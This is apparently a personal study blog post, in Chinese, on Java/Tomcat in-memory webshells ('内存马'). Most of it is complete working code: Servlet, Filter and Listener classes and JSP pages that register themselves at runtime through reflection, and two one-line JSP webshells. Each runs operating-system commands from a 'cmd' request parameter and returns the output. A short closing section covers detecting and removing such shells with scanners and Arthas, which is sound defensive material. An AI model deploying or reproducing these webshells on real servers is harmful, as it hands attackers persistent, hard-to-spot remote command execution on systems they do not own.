之前学的,复习总结一遍
三大类型:

  1. servlet-api类
    • filter型
    • servlet型
  2. spring类
    • 拦截器
    • controller型
  3. Java Instrumentation类
    • agent型

Tomcat项目搭建

先去安装tomcat8: https://tomcat.apache.org/download-80.cgi
image.png
一直下一步安装,中间需要选择jre目录
IDEA新建项目,选Jakarta EE
image.png
需要选择Web application,Tomcat需要选择home目录,就是之前安装的目录
image.png

下一步什么都不需要选,直接新建即可,这种方式比较简单,不需要自己去进行Add Framework Support加web application和添加tomcat的配置文件,而且目录结构也给我们设置好了,省了很多的麻烦
另一种配置方法:
在项目目录双击shift
image.png
Add Framework Support选择Web Application就会生成web目录
然后新建配置文件,选择Tomcat Server的Local
image.png

一开始没有指定artfict项目会提示fix,也可以自己在Deployment点击+来添加
在web目录下修改index.jsp
image.png

image.png

Servlet

Servlet基础

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
可以用Drunkbaby师傅文章的这张图表示:
image.png

我们可以通过写一个Servlet来了解,让它继承HttpServlet,不断查看父类

1
HttpServlet->GenericServlet->Servlet

我们查看Servlet这个接口:
image.png
通过观察英文名字也可知道他们的作用:

  • init: 初始化方法,需要ServletConfig参数
  • getServletConfig方法: 获取Servlet配置
  • service方法: 处理Servlet请求
  • getServletInfo:获取Servlet信息
  • destroy: 销毁Servlet时调用
    可以观察到HttpServlet重写了service()方法
    image.png
    获取req的method做不同的doxxx方法来完成http请求,我们编写自己的Servlet也需要重写一些父类方法

写一个demo,通过resp.getWriter()获取响应,控制响应输出test servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.jmx0hxq.tomcat2;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("test servlet");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req,resp);
}
}


然后我们需要把自定义的Servlet注册到tomcat服务端,通过修改web.xml文件
web.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>test</servlet-name>
<servlet-class>org.jmx0hxq.tomcat2.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>

  1. 这里配置文件的servlet配置里还可以创建load-on-startup参数,它可以指定Servlet被创建的时机,若为负数, 则在第一次请求时被创建.若为 0 或正数, 则在当前 WEB 应用被Serlvet 容器加载时创建实例, 且数越小越早被创建
  2. 关于servlet-mapping可以让一个servlet被映射多个url上,关于url-pattern可以使用通配符*,扩展名不能和斜杠/开头一起使用

这里用的Jakarta创建的新项目,运行tomcat报错:

1
2
3
[2024-04-11 08:58:00,068] Artifact tomcat2:war exploded: Artifact is being deployed, please wait...
[2024-04-11 08:58:00,082] Artifact tomcat2:war exploded: Error during artifact deployment. See server log for details.
[2024-04-11 08:58:00,083] Artifact tomcat2:war exploded: com.intellij.javaee.oss.admin.jmx.JmxAdminException: com.intellij.execution.ExecutionException: D:\JavaProject\tomcat2\target\tomcat2 not found for the web module.

搜一下发现是包没导入进来,参考: https://blog.csdn.net/qq_48085792/article/details/119966529
image.png
项目结构里新建lib目录点+,选择Library files,全部导入即可
成功访问
image.png

Servlet周期:

  • 第一次访问或启动tomcat会初始化Servlet对象(init方法)
  • 容器收到请求就调用service方法处理请求
  • 服务器关闭销毁servlet会执行destroy方法

Serlvet内存马

因此我们的目的就是写一个servlet继承HttpServlet,重写一些方法,service方法里执行命令并把结果输出到页面上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.jmx0hxq.tomcat1;

import java.io.*;
import java.util.Scanner;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

public class ShellServlet extends HttpServlet {

public void init(ServletConfig servletConfig) throws ServletException {}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}

public void destroy() {
}
}

web.xml

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>Getshell</servlet-name>
<servlet-class>org.jmx0hxq.tomcat1.ShellServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Getshell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>

测试内存马:
image.png

动态注册Servlet内存马:
jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>

先访问jsp文件,然后访问动态注册的servletshell路由执行命令

image.png

Filter

Filter基础

也称过滤器,是介于 Web 容器和 Servlet 之间的过滤器,在 HttpServletRequest 到达 Servlet 之前,拦截客户的 HttpServletRequest,检查它或修改它的头和数据;在HttpServletResponse到达客户端之前拦截它,检查它或修改它的头和数据
还是用Drun1baby师傅的图
image.png

在FIlter有一条FilterChain,它由多个Filter组成,当拦截器拦截到客户端的请求会调用Filter.doFilter方法,但 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法

image.png
可以发现Filter是servlet提供的一个接口,内部有init,doFilter,destroy方法

Filter内存马

1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package org.jmx0hxq.tomcat1;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class test1 extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

先访问/demoServlet路由打入内存马
再访问/?cmd=calc测试
因为我们的addURLPattern("/*")导致任意路由都可执行命令
image.png

jsp:
这里用Drunkbaby师傅的代码来学习:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%--
User: Drunkbaby
Date: 2022/8/27
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "Drunkbaby";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/exp");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

访问jsp页面,打入内存马
image.png

访问/exp路由测试内存马
image.png

listener

Java Web 开发中的监听器(Listener),就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等

在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载;加载完毕之后会进行逐个读取,对每一个 Listener,都会到 requestInitialized() 方法进去

  1. 获取StandardContext
  2. 通过 addApplicationEventListener() 方法把恶意的 Listener 放进去(恶意代码在requestInitialized() 方法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>

image.png

查杀

  1. scanner查杀
    https://github.com/c0ny1/java-memshell-scanner
    一个jsp页面,可以列出当前的所有的Servlet和Filter和Listener的具体信息

image.png

想删哪个就删哪个
扫描原理: https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/

  1. Arthas查杀
    https://github.com/alibaba/arthas/
1
2
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

一些用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//仪表盘
dashboard

//查看 Mbean 的信息,查看异常Filter/Servlet节点
mbean | grep -E "Servlet|Filter"

//搜索符合pattern的Servlet
sc *.Servlet

//搜索符合pattern的Filter
sc *.Filter

//反编译指定类的字节码,查看类的实现代码
jad --source-only org.apache.jsp.memshell_jsp

//将JVM中所有的classloader的信息统计出来,显示当前应用程序中所有的类加载器及其层次结构,可以查看每个类加载器的名称、父加载器和已加载的类数量
classloader

//heapdump生成 Java 应用程序的堆转储(Heap Dump)文件
[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created

JSP基础

  1. 脚本程序
    可以包含任意量的Java语句,变量,方法或表达式,只要它们在脚本语言中是有效的
    1
    <% 代码 %>
    eg
    1
    <% out.println("testout");%>
    1. JSP声明
      一个声明语句可以声明一个或多个变量,方法供后面的Java代码使用
      1
      <%! 声明 %>
      eg
      1
      2
      <%! String name="jmx0hxq";%>  
      <% out.println(name);%>

也可以直接在脚本里声明

1
<% String name="jmx0hxq"; %>

  1. jsp表达式

    1
    <%= %>

    eg

    1
    <%! String name="jmx0hxq";%>My name is: <%=name%>
  2. jsp指令
    JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令
    image.png

  3. jsp注释

    1
    <%-- 注释内容 --%>
  4. jsp行为

    1
    <jsp:action_name attribute="value" />

    image.png

  5. jsp隐含对象
    JSP 支持九个在 JSP 页面中自动可用的对象,无需额外的声明或初始化
    image.png

    1
    2
    <%=request.getRemoteHost()%>  
    <%=response.getStatus()%>
  6. jsp控制语句
    if else:

    1
    2
    3
    4
    5
    6
    <%! int day = 3; %>
    <% if (day == 1 || day == 7) { %>
    <p>今天是周末</p>
    <% } else { %>
    <p>今天不是周末</p>
    <% } %>

switch…case:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%! int day = 3; %>
<%
switch(day) {
case 0:
out.println("星期天");
break;
case 1:
out.println("星期一");
break;
case 2:
out.println("星期二");
break;
case 3:
out.println("星期三");
break;
case 4:
out.println("星期四");
break;
case 5:
out.println("星期五");
break;
default:
out.println("星期六");
}
%>

更多jsp教程可以看:

传统内存马

1
2
<%  Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

直接传参弹窗
image.png

有回显的jsp木马

1
2
3
4
5
6
7
8
9
10
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
// System.out.println(process);
java.io.InputStream inputStream = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%

image.png

参考